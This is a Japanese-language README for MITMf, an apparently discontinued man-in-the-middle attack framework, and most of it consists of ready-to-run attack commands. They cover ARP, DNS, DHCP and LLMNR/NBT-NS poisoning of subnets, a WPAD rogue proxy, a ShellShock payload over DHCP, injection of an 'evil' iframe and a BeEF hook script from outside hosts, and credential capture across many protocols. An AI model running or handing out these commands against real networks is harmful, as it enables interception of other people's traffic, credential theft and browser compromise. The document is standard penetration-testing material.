中間者攻撃のためのフレームワーク
中間者攻撃のためのフレームワーク
このプロジェクトはもはや更新されていません。MITMfは当時、中間者攻撃を実行するための最新ツールの必要性に応えるために作成されました。その後、この分野を埋めるために多くの他のツールが作成されました。Bettercap を使用することをお勧めします。Bettercapははるかに機能が充実しており、メンテナンスも良好です。
クイックチュートリアル、例、開発者向けアップデート: https://byt3bl33d3r.github.io
このツールは sergio-proxy に基づいており、プロジェクトを復活・更新する試みです。
連絡先:
問題を報告する前に、Wikiの関連セクションをお読みください。
インストール手順についてはWikiを参照してください: インストール手順
MITMfは、中間者攻撃およびネットワーク攻撃のためのワンストップソリューションを提供し、既存の攻撃手法や技術を更新・改善することを目的としています。
元々は他のツール(Ettercap、Malloryなど)の重大な欠点に対処するために構築されましたが、モジュール式で拡張しやすいフレームワークとしてほぼ完全にゼロから書き直されており、誰でも独自の中間者攻撃を実装できます。
フレームワークには組み込みのSMB、HTTP、DNSサーバーが含まれており、様々なプラグインで制御・使用できます。また、HTTPの変更と部分的なHSTSバイパスを可能にする、修正版のSSLStripプロキシも含まれています。
バージョン0.9.8以降、MITMfはアクティブパケットフィルタリングと操作(基本的にetterfilterと同様の機能ですが、より優れています)をサポートしており、ユーザーはあらゆる種類のトラフィックやプロトコルを変更できます。
設定ファイルはMITMf実行中にオンザフライで編集でき、変更はフレームワーク全体に反映されます。これにより、攻撃中にプラグインやサーバーの設定を調整できます。
MITMfはNet-Credsを使用して起動時にFTP、IRC、POP、IMAP、Telnet、SMTP、SNMP(コミュニティ文字列)、NTLMv1/v2(HTTP、SMB、LDAPなどサポート対象の全プロトコル)、Kerberos認証情報をキャプチャします。
Responderの統合により、LLMNR、NBT-NS、MDNSのポイズニングとWPAD rogueサーバーのサポートが可能です。
Scapyを使用して、MITMfが傍受する任意のパケット/プロトコルを変更できるようになりました!(もうetterfilterは不要です!やった!)
例えば、ICMPパケットの宛先IPアドレスを変更するだけの小さなフィルター:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet変数を使用して、Scapy互換形式のパケットにアクセスdata変数を使用して、生のパケットデータにアクセスフィルターを使用するには: python mitmf.py -F ~/filter.py
おそらくSpoofプラグインと組み合わせて、他の誰かのパケットを実際に傍受したいでしょう ;)
注: フィルターはMITMfを再起動せずにオンザフライで変更できます!
最も基本的な使い方。インターフェースenp3s0でHTTPプロキシ、SMB、DNS、HTTPサーバー、Net-Credsを起動:
python mitmf.py -i enp3s0
Spoofプラグインを使用して、ゲートウェイ192.168.1.1でサブネット全体をARPポイズニング:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
上記に加えて、Responderプラグインを使用してWPAD rogueプロキシサーバー:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ゲートウェイ192.168.1.1で192.168.1.16-45と192.168.0.1/24をARPポイズニング:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
ARPポイズニング中にDNSスプーフィングを有効化(スプーフィングするドメインは設定ファイルから取得):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
LLMNR/NBTNS/MDNSスプーフィングを有効化:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
DHCPスプーフィングを有効化(IPプールとサブネットは設定ファイルから取得):
python mitmf.py -i enp3s0 --spoof --dhcp
上記に加えて、クライアントが脆弱な場合に実行されるShellShockペイロード:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Injectプラグインを使用してHTML Iframeを挿入:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
JSスクリプトを挿入:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
デフォルトのページ/portal.html(thx responder)とconfig/captiveフォルダの/CaptiveClient.exe(含まれていません)を使用して、http://your-ip/portal.htmlでキャプティブポータルを起動:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
上記と同じですが、IPの代わりにホスト名captive.portalを使用(captive.portalがIPに解決される必要あり、例:DNSスプーフィングによる):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
追加のSimpleHTTPServerインスタンスを使用して、LOCALDIRをhttp://IP:8080で提供するキャプティブポータル(ポートはmitmf.configで変更):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
上記と同じですがホスト名を使用:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
そしてもっとたくさん!
もちろん、ほとんどのプラグインは自由に組み合わせ可能です(例:ARPスプーフ + インジェクト + Responderなど)
利用可能なオプションの完全なリストは、python mitmf.py --help を実行してください。
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr